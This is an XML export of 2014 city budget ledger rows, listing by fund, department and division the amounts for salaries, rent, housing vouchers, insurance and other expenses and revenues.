<row _id="7188"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>850.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>850.0</total></row>
<row _id="7189"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400923.0</object><object_description>SPC ADMIN SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-27417.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-27417.0</total></row>
<row _id="7190"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400924.0</object><object_description>SPC ADMIN EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-11714.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11714.0</total></row>
<row _id="7191"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4067.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4067.0</total></row>
<row _id="7192"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>22417.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>22417.0</total></row>
<row _id="7193"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6714.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6714.0</total></row>
<row _id="7194"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-29500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29500.0</total></row>
<row _id="7195"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1348.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1348.0</total></row>
<row _id="7196"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>166873.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>166873.0</total></row>
<row _id="7197"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1300.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1300.0</total></row>
<row _id="7198"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="7199"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="7200"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="7201"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577344.0</object><object_description>HAP-VOUCHER</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12611900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12611900.0</total></row>
<row _id="7202"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4048.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4048.0</total></row>
<row _id="7203"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522620.0</object><object_description>RENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100995.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100995.0</total></row>
<row _id="7204"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="7205"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>357112.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>357112.0</total></row>
<row _id="7206"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3100.0</total></row>
<row _id="7207"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400921.0</object><object_description>SPC ADMIN SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-4067.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4067.0</total></row>
<row _id="7208"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1647.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1647.0</total></row>
<row _id="7209"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FRAUD RECOVERY</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-45000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-45000.0</total></row>
<row _id="7210"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>65268.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>65268.0</total></row>
<row _id="7211"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15314.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15314.0</total></row>
<row _id="7212"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8250.0</total></row>
<row _id="7213"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="7214"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="7215"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="7216"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>578330.0</object><object_description>PORTABLE ADMIN FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="7217"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>97331.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>97331.0</total></row>
<row _id="7218"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4367.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4367.0</total></row>
<row _id="7219"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1086.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1086.0</total></row>
<row _id="7220"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1349.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1349.0</total></row>
<row _id="7221"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10586.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10586.0</total></row>
<row _id="7222"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2170.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2170.0</total></row>
<row _id="7223"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560060.0</object><object_description>UNIFORMS AND MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31406.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31406.0</total></row>
<row _id="7224"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130000.0</total></row>
<row _id="7225"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>405580.0</object><object_description>GILLETTE SETTLEMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7226"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>400308.0</object><object_description>VALET PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7227"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560020.0</object><object_description>DOWNSPOUT REDIRECT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="7228"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533690.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4165.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4165.0</total></row>
<row _id="7229"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401750.0</object><object_description>MUSEUM UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-6000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6000.0</total></row>
<row _id="7230"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2280.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2280.0</total></row>
<row _id="7231"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>760.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>760.0</total></row>
<row _id="7232"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7233"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7234"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
